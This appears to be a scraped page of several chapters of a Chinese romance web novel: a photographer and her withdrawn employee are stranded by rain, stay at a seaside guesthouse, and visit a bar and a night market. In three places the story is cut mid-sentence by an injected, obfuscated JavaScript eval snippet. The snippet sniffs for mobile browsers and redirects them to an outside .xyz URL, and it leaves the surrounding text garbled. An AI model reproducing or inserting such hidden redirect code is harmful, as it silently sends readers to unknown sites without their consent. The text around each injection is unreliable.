步梨无所谓,“赶不上便赶不上了,总不能把你自己丢在这儿。” “我现在走不动,不知道要歇多久,总归我一大男人,自有去处。” 步梨心里不悦,陆时生这样说,还真想让她一个人先走。 她于是找了个让陆时生无法阻止她留下来的理由,张口道:“雨下得这么大,搞得像世界末日似的,这周围我还不是很熟悉,不想一个人回。” 大雨连绵不绝,把人说出的话都冲散了几分。 步梨说话时,还做出了自认为人生中最矫情的表情,弱小可怜又无助。 她整个人显得楚楚可怜,声音本就轻柔,与雨声混杂在一起,愈发显得绵软温和。 陆时生有些出神。 步梨自己都觉得不好意思,但见陆时生并没有露出类似厌恶的表情,才松了口气,他没说话,就当他是默认了,步梨坐下来,自顾自拿手机搜索了一下附近的旅店。 “我们就在这儿等吧,如果等大巴车走了,雨还在下,我们就去找个民宿,在这儿住一晚。” “住宿费我报销哦,我是不是一个好老板?” 她突然转过头,面带笑意地问,一双杏眼微微眯成月牙状,眸中光影流转,似乎蒙了一层氤氲的水汽,藏着万千山水,与潋滟柔光。 陆时生强迫自己移开眼,侧着身子略微背对着步梨,淡淡说了句,“你是老板,你定。” 步梨心满意足地选了家民俗,订了两间房。 两人在凉亭里一直坐着,步梨趁着这个机会,又在凉亭里给陆时生拍了几张雨景的照片,这几张不用做样片,她打算等回去后用相框裱起来作为福利赠送给陆时生。 照片里的人目光有些冷,但很神奇的是,那双眼睛并不会让人觉得冰冻三尺,反而是莫名透着柔和与善意。 步梨想起陆时生说的话。 “我过去是个烂透了的人。” 她依然不相信。 她只相信一个人的眼睛不会骗人。 “陆时生。”步梨抬头望向他坐的方向,缓缓开口。 “关于过去的事,你也只是听人说的吧,耳听为虚,很多人说的话都带有主观性,事实很可能并非如此。” 陆时生笑了笑,“为什么突然说这个?” 步梨也不知道她为何再次提起这个话题,她只是凭借着自己的感觉,深信陆时生是个很好的人。 她要告诉他这件事。 “我有朋友在江北医院工作,或许我可以帮你推荐脑科医生。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444676|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不用了。”陆时生谢绝了她的好意。 家里因为他已经花了很多钱了,如今总算攒了些钱,他不能再添乱。 一直到晚上,雨才停了。 两人动身去了民宿。 路上有很多积水,亮晶晶的一潭,倒映着洁白的月光。 陆时生走得很慢。 步梨随着他的节奏,也没快走,她垂眸看了看他的左腿,看不出什么异样,但还是担心地问道:“你腿真不疼了吗?要不相机还是我背吧。” 陆时生将她往边上拽了拽,万幸躲过一个大水坑。 “注意看路。” 步梨心有余悸地吐了口气,“多谢。” 陆时生加快了些步伐。 ... 步梨选的民宿名字叫渔家调,是一家民宿兼酒馆,从一个院子里进去,前面是酒馆,后侧的房子是民宿。 两人刚进门,立刻听到酒馆里的阵阵歌声,暗淡的光线下依旧能看出房子很精致。门前挂了一排用酒瓶制成的吊灯,在夜里闪着五颜六色的光,木质的栏杆里围了很多花,肆意旺盛地生长着,彰显着野性的美。花就靠着窗台,窗户开着,微凉的夜风时常把垂下的月光白轻纱窗帘吹起,像起舞时的裙摆。 步梨和陆时生先去办理入住,老板看起来很有个性,是一位留着长发的年轻男人,瘦瘦的,见到客人来了也没起身,只是坐在那招呼了一句。 “办入住吗?” 他招待方式简单,却不显得冷漠,倒让人觉得轻松随意,就像是到了一个经常来的地方。 步梨点了点头,拿出手机给老板看她在手机上的预定。 “可以吗?”步梨问了句。 长发男人看了眼订单界面,又抬眼,看了眼步梨,又看了眼陆时生,懒洋洋地问:“两间?” “嗯嗯。”步梨道,“是海景房吧?” “当然,180度海景大床房,马上带你们去看。” “好。” 陆时生道:“我住小的单人间就行。” 步梨说道:“没事,咱俩住隔壁,方便些。” 她说完才觉得这话说得不妥,方便些是方便什么? 她有些心虚,急忙转移话题,对长发老板说到:“那个......麻烦带我们去看看房间吧。” 长发男人站起身,慢吞吞道从台前走了出来,到步梨身边的时候,忽然凑近,嘴角扬起,眼神里开始流淌出几丝别样的情绪,他轻声开口,语调略显轻佻地对步梨说道:“你需要我帮你说,只剩下一间房了吗?” 一听就不是真心问出这个问题的。 因为他说话很大声,陆时生在旁边听得一清二楚。 步梨很自然地回应了他,“这种问题不应该悄悄问吗?” “诶呀,我大意了,咋办呢?”长发老板捶了下自己的脑袋。 “没事,本来也不太需要。”步梨大气道。 老板嘿嘿笑了两声,说道:“开个玩笑,不过,你们不是情侣吗?” “不是。”步梨想了一个合适的词来形容她和陆时生之间的关系,“我们是同事。” 23. 酒馆与夜市 办理完入住,步梨把东西都放好,挑了几件随身物品带着,就去敲了陆时生的门,想喊他一块去酒馆坐一会儿。 “你的腿还好吗?要不要去酒馆坐坐?” “不去了。” “老板离开之前和我说,今天酒吧驻场请来了阿水,你认识阿水吗?听说他是新来的,但因为长得帅,一来就给酒吧带来了巨大的收益,只要他出场,酒吧就座无虚席,老板还给我看了他的照片,确实挺帅。” 陆时生眼眸暗了暗,摆手说道:“你去吧,我没兴趣。” 步梨表示理解,“也是,你对帅哥应该也没什么兴趣。不过我刚刚从窗户里看到,好像还有漂亮女生,你真不去看看?” 陆时生十分不解风情:“不去,也没兴趣。” “我腿还有点不舒服,休息一会儿,你想去的话自己去吧。” “好吧,那不打扰了。”步梨撇撇嘴,心里暗暗地想他一点生活情趣都没有,一股隐隐的失落感蒙上心头。 或许是他的腿疼还没好,不想动弹也情有可原,步梨没有勉强,自己出了门。 酒馆就在前面,是个可爱的尖顶小房子,从外面看着房子不大,但进去后十分宽敞,步梨办理入住之前这里的人还不是很多,但这会儿雨停了,陆陆续续来了好几波人,不一会儿大厅里便喧哗起来,气氛也愈发浓烈。 步梨在吧台挑了个满意的位置坐下,刚刚点了一杯莫吉托,便听到一阵高亢的欢呼声,她抬眼,视线穿过人群,便见到一个很显眼的人,背着一把吉他走到演出台。 这就是传说中的阿水? 步梨端着酒杯喝了一口,清爽的薄荷味伴随着周围浓烈的气氛蔓延开来,周遭的氛围渐入佳境,让人情不自禁地融入其中,整个人都愉悦起来。 欢呼声持续了将近一分钟后才渐渐弱下去,随之入耳的是男人清朗的歌声。 叫阿水的歌手确实有点本事在身上,他的声音低沉清晰,带着几分颓废感。把低缓的民谣与酒吧的喧哗融合得恰到好处。 步梨微微眯了下眼,仔细看过去,发现他的五官很清秀,眉眼里透着几分厌世,却又似带了让人看不透的深情,气质耐人寻味。 也不知是不是因为酒精上头,步梨心中涌出万分感慨,觉得生活处处藏了精彩,本是下了大雨才被困在此处,不曾想还能在这种小地方看到如此绝品。 她细品了一杯莫吉托,薄荷叶很新鲜,酸涩与甘甜在唇齿间热烈的绽放。再看过去时,目光与唱歌的男人相对。 不知是不是错觉,步梨感觉男人好像时不时目光就会抛向她这边,温情脉脉地看一眼后,再淡定移开,如此已有三四次,此前步梨都是假装不在意地移开眼。 这回再次相对,她被酒馆里热情奔放的气氛感染到,鬼使神差地举起酒杯,朝阿水的方向远远敬了他一杯。 阿水也回之一个微笑,很细微的嘴角向上扬了扬,不容易被发现,但步梨却敏锐地捕捉到了。 步梨今天来这里只是想喝酒放松的,方才简单的小互动过后,便转回身,没再去看,只专心听着歌声品酒。 旁边不知何时坐了位男士,过来搭讪。 “自己来的?” 步梨摇了摇头,“跟朋友一块来的。” “哦。”男士道,“我请你喝一杯,怎么样?” 步梨笑笑,礼貌地婉拒,“不用了,多谢。” 男士就像没听到她的话一般,朝调酒师道:“给这位女士来一杯玛格丽特。” 步梨刚想再拒绝,一道声音抢先传了过来。 “她说不用,你没听到?” 抬眸时,陆时生已经站到她边上,朝男士低声说道:“这是我的位置,麻烦让一下。” 男士显然不悦,却没多说什么,阴沉着脸地让开了座位,陆时生顺势坐下。 步梨见他来了,脸上浮起掩饰不住的喜悦,“你不是说不来?” 陆时生转移了视线,看了眼台上倾情演唱的阿水,回头问步梨,“你就为了听这个?” 步梨点了下头,“嗯,他唱得确实挺好听,怪不得出名。” 陆时生张了张口,本想说不好,可低沉带着磁性的男声入耳,他若贬低这样的声音,反倒显得他刻薄。 他承认,确实比他唱得好。 虽然他不是歌手,在这方面两人并没有可比性,但陆时生总是觉得心里不舒服,说不上来的感觉。 酒吧里的灯光晃得他眼睛疼,也不知道为什么这么多人都喜欢这种地方,吵闹,浮躁。 尤其是他旁边这位,很是乐在其中。 一曲终,台下听众纷纷鼓掌叫好,步梨也跟着喊了一句,“好听,再来一首——” 她话一出,便惹得旁边一位姑娘发笑。 女生好意提醒道:“第一次来吧,那可是阿水,这儿的团宠,每天只唱三首歌。” “是吗?”步梨不好意思道,“我确实是第一次来,不知道这些。” 台上,阿水已经收了吉他,转身在和后面的鼓手说着什么,应该是要准备退场。 步梨问刚才同她讲话的女生,“后面还有演出吗?” “应该就是普通的唱歌了吧,好像是大宁,唱得也不错,不过就不如阿水喽。” 女生说完,便兴致缺缺地起身,离了场。 看来她是专门为阿水才来的,阿水一唱完,她也便准备走了。 这几句话说完,阿水依然在台上没有离开,步梨望过去,看着他一步一步又坐回了原来的位置,正了正话筒,微微瞥了一眼步梨在地地方,嘴角向上一扬。 场下的人似乎看出了他的意思,开始有些躁动。 “刚才我听到了一个很可爱的声音,让我再唱一首,那我今天就破例一次,献给那边的那位美丽的女士。” 话音落地,台下瞬间沸腾。 “阿水居然为了她破例。”有人发出不可思议的惊讶。 “有什么奇怪的?你看看她,长得跟天仙似的,谁看了不迷糊?” “有道理,别说是阿水了,天王来了都能为她唱破喉咙吧。” 步梨听到几声讨论,双颊瞬间热了起来。 她从没想到阿水居然会这么热烈地回应她,明明他看起来冷淡又颓废。 是因为方才的小互动吗? 她真是脑子抽了,一时没控制住。 一到成为人群中的焦点,步梨就难免不好意思起来,为自己方才不过脑子的行为感到懊悔。 她下意识去看陆时生,发现身旁的座位空空如也。 步梨心里浮起些难以抑制的不安,坐了一会儿,起身找陆时生去了。 酒馆外面的院子里,月光如水,石子小路旁还有一小滩的积水,倒映出深色的夜空,还有一个清冷的影子。 “你在这儿啊。”步梨快步走过去,坐到长椅上,“我是个很善解人意的老板,绝对不会占用干涉员工的私人时间,你要是不喜欢这种吵闹的地方,可以不来的,不用非得陪我。” 她说了不少话,陆时生都只是简单回应,步梨没了耐心,忍不住开口问了声,“你不开心了?” 陆时生道:“没有,腿有点疼,出来走走。” 步梨拧了下眉头。 她不太懂。 腿疼不是应该坐着或者躺着吗? 月色如水。 两人一时无话。 就这么干坐在长椅上,步梨往后靠了靠,望着被大雨冲刷过的房子、树木、花草,小路。 又抬头看了会儿星空,她已经很久没有看到这么干净纯粹的夜晚了,酒馆里阵阵欢呼声和隐隐虫鸣声混杂在一起,却并不觉得吵。 她站起来,四处绕了绕,不远处的街道,有橘黄色的灯光闪烁。 她正望过去,身侧有人走过来喊了她一声。 “哈喽,在看什么?” 步梨惊愕抬头,见是阿水。 “哦,我在看那边,看起来很热闹的样子。” 步梨这会儿才真正看清阿水的模样。他长得很清秀,鼻梁高挺,嘴唇微薄,细长的桃花眼总是微微眯起来,看什么都显得深情,尽管登台演出,也没做什么夸张刻意的打扮,没化妆,发色也是自然的黑色,只有一个右耳的耳钉极为显眼。 他穿着也很随意,一身简单的灰色短袖加阔腿裤,却也抵不住周身自带的文艺气质。 步梨笑了笑,礼貌道:“你就是大名鼎鼎的阿水对吧,我叫步梨。” “步梨?这名字真好听。我想问一下步小姐,是我唱得不好听吗?” 步梨一愣,摇头道:“没有啊,你唱得很好。” 阿水做出一副如释重负的表情,“那就行,我的听众坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阿水笑呵呵地自我介绍,“歌手是我的副业,阿水也只是艺名,其实我叫彭文赛,是江北职业技术学院毕业的,学的机械电子,毕业后一直干售后工程师。” 步梨和他闲聊了几句,“那怎么来这里了?” “太累了,一直想辞职,做自己喜欢的事。” “唱歌吗?”步梨问。 阿水笑着点了点头,“对,但挣不了几个钱,只能当副业,好在这边房租便宜,再加上我在刘哥的数码店工作,每个月的工资基本上也花不完。对了,你想去夜市吗?” 步梨点点头。 “正好我也想去,一起吧,挺好玩的,我去过两次了,还可以给你推荐好玩的项目。”阿水发出邀请。 步梨犹豫了一下,还是没抵住诱惑。 “我跟我朋友说一声。”她还没忘陆时生。 阿水顺着步梨走过去的方向望过去,这才看见庭院另一角的长椅上还坐了个男人,脸上的表情顿时一僵,脑子里回响起步梨方才的用词,说的是朋友,而不是男朋友,心里这才宽慰了些许。 他站在原地伸着脖子看了看,男人完全坐在阴暗处,看不清样貌,但可以看出步梨和他说话时,保持了一定的距离。 步梨的身影一半隐匿在夜色里,看不清全貌,但在月光下,依旧能映出她漂亮的侧脸,那张脸上先是带了愉悦和期待,然后慢慢收敛,最后是礼貌地微笑。 和那人说了几句后,步梨走了回来,见她是一个人,阿水忙收回目光,做出一副若无其事的模样,问道:“你朋友不一起来吗?” “哦,他有点累了,不太想动。” 步梨在去之前就猜到,陆时生多半是不来,他腿疼,不适合在夜市走来走去,她方才只是过去知会他一声。 陆时生也没说什么,只跟个少爷一样坐在那儿敷衍了她一句,“有事喊我。” 就这么放心地让她跟一个男生一块去逛夜市了。 步梨心里莫名有点堵。 “那我走了?”步梨不甘心地又说了句。 陆时生嗯了一声,缓缓抬眼,似乎这会儿才看到不远处有人站在那里等着步梨,他顿了一会儿,缓声张口,“跟阿水?” 步梨嘴角扬了扬,“嗯。” 陆时生笑了句,“还挺自来熟。” 步梨没看懂他的表情,拧着眉头琢磨了一会儿,听到陆时生毫不在意地说,“你跟他去吧。”陆时生往后一靠,闭上了眼,就跟躺在自家沙发上一样,像是要休息了。 “行,回见。” 也不知哪来的气,步梨转头便收了笑容,头也没回地往夜市走。 24. 射击游戏 夜里就在附近,步行大概一百米就到。 这儿的整条街都挂了各式各样的灯,到了才看到,每个造型都不一样,但都是海里的,鲸鱼灯,水母灯,海星灯,用蓝色的彩灯线穿起来,像是海底的集市。 来夜市的人不少,每个摊位基本上都有两三个人围着。 其实都是一些寻常的东西,只是摆在这儿,就能格外勾起人去瞧瞧看看摸摸的兴趣。 步梨并不是一个自来熟的人,但阿水还挺好相处的,一路上两人相谈甚欢,也没冷场,大多都是阿水先挑起话题。 “原来你老家在花溪镇啊,这个小地方确实很适合常年生活在大城市的人过来住一住,散散心养养生,换个心情。” “一开始我的确只想散散心,不过现在我在这边开了家写真馆,要在这长待的。” “写真馆?那我能去拍写真吗?” “当然了,欢迎。” “那边是什么?”步梨被一个非常漂亮的摊位吸引,木质的小摊上摆了形形色色的酒瓶。 酒瓶被做成了各种水果和花的形状,显而易见,水果酒瓶里装的是果酒,花瓶里的自然是花酒。 摊位前一个梳着麻花辫的姑娘手里拿着一个宣传册笑意莹莹地向客人介绍。 “这是我们自己家酿的酒,你看这是我们的工厂,就在海星街,可以免费参观的,过两天还会有品酒活动,欢迎过来哦。” 步梨接了一张宣传册,更多的注意力集中在了形形色色的酒瓶上。 “这是青梅酒吗?”她指着一个青色瓶子问。 “是的,这是我们的招牌,口感清新酸甜,那边有打开的,可以试喝一下。这边的山楂酒还有桑葚酒也都很受欢迎的。” 步梨按顺序品尝了个遍,最终买了一瓶山楂酒和一瓶青梅酒。 她喜欢买些果酒存着,这种酒度数不高,就当是喝果汁玩了,又属于酒,相比饮料,带着与生俱来的仪式感。 她喜欢在重要的节日,或者发生什么无比开心的事情时,开一瓶酒庆祝一下。 就比如今天,她就觉得,是很有意义的一天。 摊主把酒装好,纸袋递过来,阿水绅士地说:“我帮你拎着吧。” “不用了。”步梨接过纸袋,阿水抓了个空,手握了握,又放下。 他挠了挠头,尴尬道了句,“行,你一会儿累了,就给我拎。” “很轻啊。”步梨不喜欢让别人帮忙拎东西,主要是觉得麻烦。 两人一边逛一边聊着,经过各式各样的摊位,步梨看中了一个八爪鱼玩偶,不过是在射击的摊位,没办法直接买,听到这个玩偶要把对面所有的空啤酒瓶打碎才能带走,步梨看了看距离,失去了信心。 百发百中对她来说是不可能的。 她转身求助阿水。 “你擅长这个吗?” “还行,之前玩过,我试试吧。”阿水跃跃欲试地坐了下来。 步梨看他的动作还挺专业,目光也坚定,感觉玩偶唾手可得,结果一顿操作下来,阿水的最好成绩才击碎了六个瓶子。 “我也来一次。”步梨道。她大学时也上过射击课的,虽然勉强及格,但这个游戏的射程近多了,万一她今天运气好呢。 步梨扣动了扳机,只听得哗啦清脆地一声。 “中了!”阿水在一旁叫好,“梨梨,原来你深藏不露啊。” 步梨也惊讶,第一发成绩就射中了,她整个人振奋起来,看来她今天真的运气好。 步梨大受鼓舞,自信地又打了几发,结果连着三个都没打中。 “......” “没事,要不再来一次? “我再试一次。” 步梨莫名其妙起了征服欲,迅速扫码付钱,再来一次,结果还没第一次成绩好。 阿水见她失落,忙安慰道:“没事,要不再试一次,我请你。” “不用了。”步梨还是有自知之明的,知道适可而止。 她打算要走,见到有人坐在了她刚刚起身的位置。 “老板,钱付好了。”陆时生拿起枪检查了一下子弹。 步梨惊喜,“陆时生?” 阿水愣了愣,“生哥?” “需要打到多少?”陆时生问。 步梨愣愣道:“需要全中。” 陆时生点点头,向摊位老板问道:“可以开始了吗?” 这么一会儿来了三位客人,老板心情不错,把啤酒瓶规整摆好,朝陆时生比了个OK的手势,“哦啦,这位帅哥,可以开始啦。” “生哥,你还会射击啊。” 阿水在一旁羡慕地说。 “应该会。”陆时生道。 “啊?”阿水惊讶。 步梨也陪着笑了两声,什么叫应该会,不会又是一位盲目自信的吧。 “看着不难。”陆时生道。 步梨心想,她和阿水试之前也是这样想的。 “没事,那玩偶不要也行,反正玩得开心就行了。”为了不让陆时生心理压力太大,或者失手后太没面子,她提前说了句安慰的话。 陆时生能来,步梨是从心底里涌出的开心,藏都藏不住,自然也不在乎能不能拿到玩偶。 看都能看出来,陆时生不是专业的,他拿枪的姿势都不对,和学校老师教的标准姿势差远了。 但不管怎么样,他的姿势还是挺帅气的,随意往那里一坐都很赏心悦目,步梨最近才发现陆时生简直就是天生的模特,要是他允许,她真想把他的每时每刻都用相机拍下来。 她的思绪被一声大呼小叫打断,回神便看见阿水瞪大了眼睛,嘴巴半张着惊讶的模样。 “我的天啊,生哥,全中了!你怎么这么厉害?老实交代,你之前是不是狙击手?” 陆时生说不出来,他只是之前做梦经常梦到自己握着一把枪,枪支握在手上,沉甸甸的感觉很真实,他右手的虎口和食指指腹有一层薄薄的茧子,他也不知道是怎么来的,陆望潮更不知道。 后来,陆时生便特意去找了个射击馆试了一下,他碰到枪,那种熟悉的感觉翻涌而来,枪就像他身体的一部分,装弹、瞄准、射击,一气呵成,目标被轻而易举射中。 说不定,他以前当过狙击手。 不过,那些都是过去。 现在他是一名木工。 欢呼过后,步梨才反应过来,阿水和陆时生认识,看这自然的交流方式,两人居然还很熟。 “你们两个认识?” 阿水笑着点头,“对啊,我刚来花溪镇那天就遇到生哥了,就是生哥帮我找的工作和住处。” 陆时生接着他的话解释道:“就是文赛送桂香奶奶去的医院。” 步梨想起来了,桂香奶奶生病住院那天,朵朵说过,是一个哥哥送她去的医院,原来是阿水。 那次阿水送桂香奶奶去医院还给垫付了医药费,陆时生觉得小伙子人很不错,又听到他是新来花溪镇的,在找住处和工作,正好张婶那边空了一处房子想租出去,便推荐了阿水过去。 两人这样联系了几次,便熟了起来。 阿水有些惊讶,“咦?你们也认识?难道他就是你刚才说话的朋友?” 步梨点点头。 “啊......” 阿水一时无言。 陆时生起身站到步梨身边,嘴角微微上扬,他拿了老板递过来的八爪鱼玩偶,扯着一个腿拎在手里。 步梨见他一直拿着,也没有给她的意思,伸手指了指那个玩偶,皱眉问道:“不是给我的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“都行。” “那番茄味怎么样?” “可以。” 步梨走过去,问老板要了两份番茄口味,陆时生在她之前扫码付了钱。 步梨收回了手机,真诚地说:“这么大方,多谢。” “不用。”陆时生低声道。 老板麻利地将小丸子翻了个个儿,然后用竹签一个个插出来装盒,淋了厚厚一层酱。 步梨和陆时生在路旁边找了个长椅,两人坐着吃。 买之前,步梨没想到这里的章鱼小丸子个头儿这么大,她吃了两个就饱了,剩下四个说什么也吃不下,一边不想浪费粮食,一边也不好意思给陆时生吃。 见她好一段时间没动口,陆时生问:“不吃了?” “嗯,饱了。”步梨小声问了句,“你还要吗?” 陆时生刚好吃完他那份的最后一个,胃里已经饱了,他轻瞥了步梨一眼,见到她小心翼翼的目光,满眼写着“我就问问,吃不吃随你”。 陆时生默了一会儿,开口,“行吧。” 步梨雀跃地把盒子递给他。 “下次咱俩买一份就行。”步梨说完,这才想起来,“好像也没下次了,阿水说今天是夜市最后一天,有夜市这么好玩的地方,也也不早点告诉我,幸亏今天我自己发现了。” 她笑了两声,掩饰尴尬。 陆时生嗯了一声,“明年还有。” “哦。”步梨掏出纸巾擦嘴,顺带往下拉了拉抑制不住要上扬的嘴角。 25. 大小姐照顾人 回到酒店的时候,已经接近晚上十点钟。步梨和陆时生各自回了房间。 走了一天的步梨累得两腿都发软。 她把买来的大包小包往沙发上一扔,整个人也完全瘫软陷了进去,仰着脖子看向天花板。 橘黄色的灯光偏暗,很温和,不刺眼。 步梨四仰八叉地瘫了一会儿,便去洗了个澡,出来时觉得房间有些闷,便把窗户都打开了,晚风像是被挡在门外已久如今终于得到了释放,一股脑涌进来,把窗帘鼓鼓吹起来。 一阵接着一阵的风,撩动起洁白的轻纱,有些暧昧的味道。 步梨的心底也被风撩动了一番,借着皎洁的月色,微凉的晚风,她开了瓶山楂酒,纪念这一天。 酸甜的味道顺着舌尖滑入喉咙。 她握着酒杯喝了两口,打开阳台的门,走到外面透气。 她与陆时生的房间是挨着的,阳台也相邻,步梨吹了会儿风,从阳台探出身,想看看陆时生在干什么,脖子都快断了,也看不到半点内容。 “陆时生——” 她在阳台喊了一声。 没人回应。 睡了? 步梨又喊了一声,正打算回去,突然听到咔嚓一声门开的声音,男人拖着懒洋洋的脚步走出来。 陆时生刚洗完脸,额前留海湿哒哒的,脖子上挂了条毛巾,他手里端着水杯,抬眼不明所以地看步梨,“这么晚了,还有事?” “没事,我在喊着玩呢,干杯啊。”步梨举了举自己的杯子,他们俩拿的是同款,都是酒店提供的白色陶瓷杯。 陆时生想是觉得她无聊,敷衍地举杯跟她“碰”了一下,然后轻轻小酌一口后,说道:“那我进去了?” “先别——”步梨抿了下嘴,“自己待着怪无聊的,聊会儿呗。” 陆时生开着玩笑,“付费吗?” 步梨阔气道:“也不是不行,陆大少爷多少钱一小时呢?只能陪聊?” 陆时生抬眼一瞥,顺着她说道:“步大小姐想要什么?” “那......”步梨抑制着想要上扬的嘴角,思考片刻,得意忘形道,“要不先笑一个吧。” 陆时生只给了她一个眼神,其中写满了“休想”,“不好意思,我天生不爱笑。” 步梨不满意,“不是吧,我看你之前就经常笑啊。” 陆时生听过,还真扯着嘴角笑了下,那笑意生寒,完全不是步梨想象中的甜美可人。 沉吟片刻,陆时生往前走了两步,身子紧靠着栏杆,目光直直逼过来,似乎有几道寒光射过来,看得人身上发冷。 “不好意思,只卖.身,不卖艺。”他一字一顿道。 夜色里,那张脸显得愈发清冷俊俏,步梨心下一动,脸颊微微发热,被他撩得一时无言,正想着如何开口,陆时生却没有给她犹豫的机会,只听他笑了一声,转身便往屋里走。 “不陪了?”步梨喊了声。 陆时生摆摆手,“你这生意都太小,接不了。” 步梨挽留道:“商量商量啊。” 陆时生道:“今天身体不适,关门了。” “笑一个都不行?” 步梨今天口出狂言了好几次,每次说完,她都怀疑是酒馆的酒有点问题,可她今天没喝什么烈酒,而且她酒量没那么差劲,难道是对这里的酒也水土不服了?又或者,是因为今晚的陆时生实在是太美了,额前的留海随意垂下,清冷里带着被病痛凌虐的凄美,让人心生出几分怜爱。 晚风亮,却吹不散酒意。 下午下的雨,空气里的水汽还没散尽,风里都是潮气,陆时生腿疼的病一见潮就容易犯,他今天又忍着走了不短的距离,见步梨不走,左腿的痛感加剧,他忍得不太容易,额头渗出些汗来,只想着回去坐下,转身前,他皱着眉头提醒步梨一句:“再不进去,明天容易感冒。” 步梨不在意道:“没事,不会的。” 陆时生无奈地摇了摇头,既然如此,干脆留她自己在这儿自娱自乐算了。他艰难抬脚,刚走一步,针扎一般的痛感忽的袭来。 这痛感来得剧烈又突然,他腿一软,下意识去扶住手旁的东西,却抓了个空,整个人重心不稳,直接摔在了地上。 只听邦一声。 随着一阵闷响,同时还有玻璃碎裂的声音。 声音传来,步梨先是一愣,后知后觉才意识到是陆时生摔了。 她心里一紧,急忙喊道:“陆时生,你怎么样?” 对面没有回应,步梨跑到栏杆旁探出身子去看,门里的情况完全被挡住。 她又喊了两声,没回应,急忙出门,一路到陆时生的屋子外邦邦敲了两下门,如她所料没人开,步梨担心陆时生可别是磕到头昏了过去。 她也没再敲门浪费时间,直接去找了前台开门。 前台依旧是那位长发老板,见她匆匆忙忙地跑过来要203房间的房卡,还以为俩人吵架了,眼前这位要强行破门。 “不好吧。”长发老板悠悠地道。 “不是!我朋友摔倒了!”步梨被老板怠慢的态度气到。 长发老板一听,这才拿了房卡,跟步梨快步去楼上开门。 “你朋友怎么了?”老板换做一副严肃的表情。 步梨道:“不清楚,怕是摔到头了,你拿手机了吗?帮忙叫下救护车。” “哦......”长发老板觉得她有点小题大做,看着挺壮实一男人,不就是摔了一下吗?动不动叫救护车干嘛,大晚上救护车呼呼地过来拉人,别人还以为他这店里出了什么事儿呢,而且医院就在附近,要有事他直接把人塞面包车里拉过去岂不更快。 “你也没带手机?”步梨见他没动,正要转身回房间拿手机自己打120,老板已经把门打开了,步梨视线望过去,刚要迈出的脚停住,陆时生若无其事地坐在沙发上,见有人开门,缓缓看过来,估计是早有预料步梨会过来,面色没什么波动。 步梨快步走进屋,停到陆时生面前,惊讶、愤怒、又担心。 “陆时生,你没事啊?” “没事,就腿疼,没站稳。” 陆时生一手轻轻揉着腿,另一只手搭在沙发扶手上,轻轻垂着,地上有几滴红色的血。 步梨皱眉,“手流血了?” 陆时生嗯了句,转头朝老板问道:“有医药箱吗?” 老板点头道:“有,我去拿。” “多谢。”陆时生微微侧头,目光指向阳台进门的地方,那里有一滩水和零碎的玻璃杯碎片,“杯子碎了,你看看怎么赔。” 老板人挺好,直接摆摆手道:“没事没事,一个杯子而已,不用赔了。” “要不要去医院包扎一下?” “不用,就是起来的时候手不小心按到了, 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她有点后悔刚才自己任性把陆时生喊出来,可那时她就跟鬼迷心窍了一般,控制不住地想要见到他。 因为生病的缘故,陆时生身上的锋芒收敛了许多,倒是有种逆来顺受的乖巧。步梨心下一动,打算亲自上手,她按照方才老板说的顺序,小心翼翼地给陆时生包扎好了伤口。 完事后,又下了趟楼,回来时,怀里抱了个粉色的毛茸茸的热水袋。 “这什么?”陆时生拧眉看着那粉色一团,好像并不是很乐意接受。 “热水袋啊,放在腿上可以暖和些,驱寒。” “不需要,拿走。” 步梨没听他的,直接把热水袋放在了他的膝盖处,朝他眯眼一笑,柔和道:“暖和吗?” 陆时生怔愣地点了点头,“还行吧。” “晚上睡觉的时候也可以抱着,可舒服了,我冬天经常用。” 陆时生挑眉问了句,“这是你的?” “嗯,用完记得还给我。” 步梨做完这些,她又收拾了地上的玻璃碎片,擦掉了血迹,还十分贴心地烧了热水备用,她四下打量了一番,检查自己是否有忘记做的事项,陆时生见她左边看看,右边看看,一手戳着下巴认真的深情,不禁在心底暗笑。 他瞥了眼时钟,开口提醒,“不早了,你回去吧。” “啊?”步梨被打算,回神前愣了一下,“可我不放心。” 陆时生掀了下眼皮,“那你放心在我这睡?” 步梨心下一惊,从他的目光里捕捉到几分危险的信息。 她从善如流,“我先走了,晚安,明天见。” 门咔哒一下被打开,又砰地关上。 来去匆匆。 陆时生坐在沙发上出神,感觉方才像是做了一场梦,垂眼见到手上的纱布,还有安安静静躺在他腿上的粉色热水袋,这才确认这一切的真实性。 大小姐还挺会照顾人。 他嘴角扬了下,微烫的温度紧紧贴着大腿的皮肤,暖流渐渐传遍全身。陆时生坐了会儿,觉得腿上的痛感缓解了不少。 小东西还挺神奇。 他把暖水袋拎起来,一手支撑着站起身,往卧房走去,熄了灯,早早入睡。 26. 送了艘渔船 步梨回到房间时,茶几上还放着她喝了一半的山楂酒。 旁边是一个小盒子,里面是一个小的手工艺品,给陆时生买的,她没好意思给出去,便先留着,日后找机会再送。 她把青梅酒一饮而尽,刷了牙后,回到房间,转了一圈后,又走了出来,拿了今晚得来的八爪鱼放在床头。 躺下前,步梨抻了抻它的一只腿。 窗外,夜色如墨,静谧且漫长。 ...... 因为喝了点酒的缘故,步梨当晚做了个飘飘然的梦,第二天起得很晚,醒了后在床上呆呆坐了良久,直到窗边有鸟扑腾着翅膀撞击玻璃的声音传入耳朵,步梨才清醒过来,意识到刚才脑海里有个穿着围裙的男人给她做早餐的情形只是个梦。 